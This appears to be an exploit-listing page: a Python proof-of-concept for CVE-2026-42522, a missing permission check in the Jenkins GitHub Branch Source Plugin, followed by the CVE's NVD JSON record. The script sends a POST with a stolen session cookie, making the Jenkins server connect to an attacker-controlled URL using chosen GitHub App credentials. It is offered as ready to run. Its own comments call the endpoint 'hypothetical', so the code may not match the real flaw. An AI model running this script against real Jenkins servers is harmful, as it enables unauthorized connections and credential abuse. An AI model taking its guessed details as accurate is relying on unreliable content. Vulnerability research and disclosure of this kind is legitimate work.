CVE-2026-42522

#!/usr/bin/env python3 """ PoC for CVE-2026-42522 - Jenkins GitHub Branch Source Plugin Permission Bypass Description: Exploits missing permission check to connect to an arbitrary URL. """ import requests import sys def exploit(target_url, attacker_url, creds, session_cookie): """ Send a request to the vulnerable endpoint to connect to an attacker-specified URL. """ # The specific endpoint might vary based on Jenkins plugin configuration; # this represents the vulnerable action described in the CVE. endpoint = f"{target_url}/github-webhook/" # Hypothetical endpoint headers = { "Content-Type": "application/json" } cookies = { "JSESSIONID": session_cookie } payload = { "url": attacker_url, "apiUrl": attacker_url, "credentialsId": creds } try: print(f"[*] Sending request to {target_url} to connect to {attacker_url}") response = requests.post(endpoint, json=payload, headers=headers, cookies=cookies, verify=False) if response.status_code == 200: print("[+] Request sent successfully. Check attacker server for connection.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python {sys.argv[0]} <target_jenkins_url> <attacker_url> <attacker_creds> <session_cookie>") sys.exit(1) TARGET = sys.argv[1] ATTACKER_URL = sys.argv[2] CREDS = sys.argv[3] COOKIE = sys.argv[4] exploit(TARGET, ATTACKER_URL, CREDS, COOKIE)

{"cve": {"id": "CVE-2026-42522", "sourceIdentifier": "[email protected]", "published": "2026-04-29T14:16:19.260", "lastModified": "2026-05-06T16:18:23.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A missing permission check in Jenkins GitHub Branch Source Plugin 1967.vdea_d580c1a_b_a_ and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL with attacker-specified GitHub App credentials."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:github_branch_source:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "1967.vdea_d580c1a_b_a", "matchCriteriaId": "7D9B9F7F-9588-49D6-B38A-91691EFAF07E"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2026-04-29/#SECURITY-3702", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}